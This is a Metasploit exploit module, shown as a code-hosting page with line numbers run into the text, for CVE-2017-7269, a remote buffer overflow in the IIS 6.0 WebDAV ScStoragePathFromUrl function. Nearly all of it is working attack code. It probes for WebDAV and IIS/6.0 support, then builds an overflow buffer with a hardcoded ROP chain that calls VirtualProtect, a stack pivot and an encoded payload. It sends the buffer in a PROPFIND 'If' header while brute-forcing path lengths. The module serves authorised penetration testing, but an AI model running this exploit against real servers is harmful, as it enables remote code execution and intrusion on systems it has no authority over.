Path: blob/master/modules/exploits/windows/iis/iis_webdav_scstoragepathfromurl.rb
19500 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ManualRanking78include Msf::Exploit::Remote::HttpClient910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Microsoft IIS WebDav ScStoragePathFromUrl Overflow',15'Description' => %q{16Buffer overflow in the ScStoragePathFromUrl function17in the WebDAV service in Internet Information Services (IIS) 6.018in Microsoft Windows Server 2003 R2 allows remote attackers to19execute arbitrary code via a long header beginning with20"If: <http://" in a PROPFIND request, as exploited in the21wild in July or August 2016.2223Original exploit by Zhiniang Peng and Chen Wu.24},25'Author' => [26'Zhiniang Peng', # Original author27'Chen Wu', # Original author28'Dominic Chell <[email protected]>', # metasploit module29'firefart', # metasploit module30'zcgonvh <[email protected]>', # metasploit module31'Rich Whitcroft', # metasploit module32'Lincoln' # minor updates to metasploit module33],34'License' => MSF_LICENSE,35'References' => [36[ 'CVE', '2017-7269' ],37[ 'BID', '97127' ],38[ 'URL', 'https://github.com/edwardz246003/IIS_exploit' ],39[ 'URL', 'https://0patch.blogspot.com/2017/03/0patching-immortal-cve-2017-7269.html' ]40],41'Privileged' => false,42'Payload' => {43'Space' => 2000,44'BadChars' => "\x00",45'EncoderType' => Msf::Encoder::Type::AlphanumUnicodeMixed,46'DisableNops' => true,47'EncoderOptions' =>48{49'BufferRegister' => 'ESI',50}51},52'DefaultOptions' => {53'EXITFUNC' => 'process',54'PrependMigrate' => true,55},56'Targets' => [57[58'Microsoft Windows Server 2003 R2 SP2 x86',59{60'Platform' => 'win',61'Arch' => ARCH_X8662},63],64],65'Platform' => 'win',66'DisclosureDate' => '2017-03-26',67'DefaultTarget' => 0,68'Notes' => {69'AKA' => ['EXPLODINGCAN'],70'Stability' => [CRASH_SERVICE_DOWN],71'Reliability' => [REPEATABLE_SESSION],72'Side Effects' => [],73'SideEffects' => UNKNOWN_SIDE_EFFECTS74}75)76)7778register_options(79[80OptString.new('TARGETURI', [ true, 'Path of IIS 6 web application', '/']),81OptInt.new('MINPATHLENGTH', [ true, 'Start of physical path brute force', 3 ]),82OptInt.new('MAXPATHLENGTH', [ true, 'End of physical path brute force', 60 ]),83]84)85end8687def min_path_len88datastore['MINPATHLENGTH']89end9091def max_path_len92datastore['MAXPATHLENGTH']93end9495def supports_webdav?(headers)96if headers['MS-Author-Via'] == 'DAV' ||97headers['DASL'] == '<DAV:sql>' ||98headers['DAV'] =~ /^[1-9]+(,\s+[1-9]+)?$/ ||99headers['Public'].to_s.include?('PROPFIND') ||100headers['Allow'].to_s.include?('PROPFIND')101return true102end103104false105end106107def check108res = send_request_cgi({109'uri' => target_uri.path,110'method' => 'OPTIONS'111})112113unless res114vprint_error 'Connection failed'115return Exploit::CheckCode::Unknown116end117118unless supports_webdav? res.headers119vprint_status 'Server does not support WebDAV'120return CheckCode::Safe121end122123if res.headers['Server'].to_s.include? 'IIS/6.0'124return CheckCode::Vulnerable125end126127CheckCode::Detected128end129130# corelan.be131# rop chain generated with mona.py132def create_rop_chain133[134# MSVCRT.dll - all Windows 20031350x77bcb06c, # POP ESI # RETN1360x77bef001, # Write pointer # Garbage1370x77bb2563, # POP EAX # RETN1380x77ba1114, # <- *&VirtualProtect()1390x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN1400x41414141, # junk1410x77bbee22, # XCHG EAX,ESI # ADD BYTE PTR DS:[EAX],AL # RETN1420x77bc9801, # POP EBP # RETN1430x77be2265, # ptr to 'push esp # ret'1440x77bb2563, # POP EAX # RETN1450x03C0946F,1460x77bdd441, # SUB EAX, 03c0940f (dwSize, 0x500 -> ebx)1470x77bb48d3, # POP EBX, RET1480x77bf21e0, # .data1490x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN1500x77bbfc02, # POP ECX # RETN1510x77bef001, # W pointer (lpOldProtect) (-> ecx)1520x77bd8c04, # POP EDI # RETN1530x77bd8c05, # ROP NOP (-> edi)1540x77bb2563, # POP EAX # RETN1550x03c0944f,1560x77bdd441, # SUB EAX, 03c0940f1570x77bb8285, # XCHG EAX,EDX # RETN1580x77bb2563, # POP EAX # RETN1590x90909090, # nop1600x77be6591, # PUSHAD # ADD AL,0EF # RETN161].pack("V*")162end163164# encode string as UTF-8 char format that when converted to UTF-16LE165# will represent chars we want in memory166def utf_encode_str(str)167str.force_encoding('UTF-16LE').encode('UTF-8')168end169170# filler chars to be encoded171def make_junk(len)172utf_encode_str rand_text_alpha(len)173end174175def exploit176# extract the local servername and port from a PROPFIND request177# these need to be the values from the backend server178# if testing a reverse proxy setup, these values differ179# from RHOST and RPORT but can be extracted this way180vprint_status('Extracting ServerName and Port')181res = send_request_raw(182'method' => 'PROPFIND',183'headers' => {184'Content-Length' => 0185},186'uri' => target_uri.path187)188fail_with(Failure::BadConfig, 'Server did not respond correctly to WebDAV request') if (res.nil? || res.code != 207)189190xml = res.get_xml_document191url = URI.parse(xml.at("//a:response//a:href").text)192server_name = url.hostname193server_port = url.port194server_scheme = url.scheme195196http_host = "#{server_scheme}://#{server_name}:#{server_port}"197vprint_status("Using http_host #{http_host}")198199print_status "Trying path length #{min_path_len} to #{max_path_len} ..."200201min_path_len.upto(max_path_len) do |path_len|202vprint_status("Trying path length of #{path_len}...")203204begin205buf1 = "<#{http_host}/"206buf1 << rand_text_alpha(114 - path_len)207buf1 << make_junk(32)208# survive SHR instruction 0x02020202209buf1 << utf_encode_str([0x02020202].pack('V'))210# str pointer to .data httpext.dll # ebp-328 # used in wcslen calculation211buf1 << utf_encode_str([0x680312c0].pack('V'))212buf1 << make_junk(40)213# 0x680313c0 -> destination pointer used with memcpy214buf1 << utf_encode_str([0x680313c0].pack('V'))215buf1 << ">"216buf1 << " (Not <locktoken:write1>) <#{http_host}/"217buf1 << rand_text_alpha(114 - path_len)218buf1 << make_junk(28)219# 0x680313c0 -> pointer to call itself at same address for vtable call220buf1 << utf_encode_str([0x680313c0].pack('V'))221# ROP 2 gadget -> advance ESP past previous instructions to start of ROP chain222# msvct.dll 0x77bdf38d # ADD ESP,1C # POP ECX # POP EBX # POP EAX # RETN223buf1 << utf_encode_str([0x77bdf38d].pack('V'))224buf1 << make_junk(8)225# 0x680313c0 -> vtable pointer passed to EAX for call [eax +24]226# point to itself at [eax]227buf1 << utf_encode_str([0x680313c0].pack('V'))228buf1 << make_junk(16)229# ROP 1 gadget -> 0x68016082 stack flip get ECX into ESP and push EAX230# which also points to new ESP231buf1 << utf_encode_str([0x68016082].pack('V'))232buf1 << utf_encode_str(create_rop_chain)233# GetPC # push esp; pop esi; add esi, 10234buf1 << utf_encode_str("\x54\x5e\x83\xc6")235# GetPC ESI +10 plus encode alignment236buf1 << utf_encode_str("\x0a\x41")237buf1 << payload.encoded238buf1 << ">"239240vprint_status 'Sending payload'241res = send_request_raw(242'method' => 'PROPFIND',243'uri' => target_uri.path,244'headers' => {245'Content-Length' => 0,246'If' => "#{buf1}"247}248)249next unless res250251vprint_status("Server returned status #{res.code}")252next if res.code == 502 || res.code == 400253254return if session_created?255256vprint_status("Unknown Response: #{res.code}")257rescue ::Errno::ECONNRESET258vprint_status('got a connection reset')259next260end261end262end263end264265266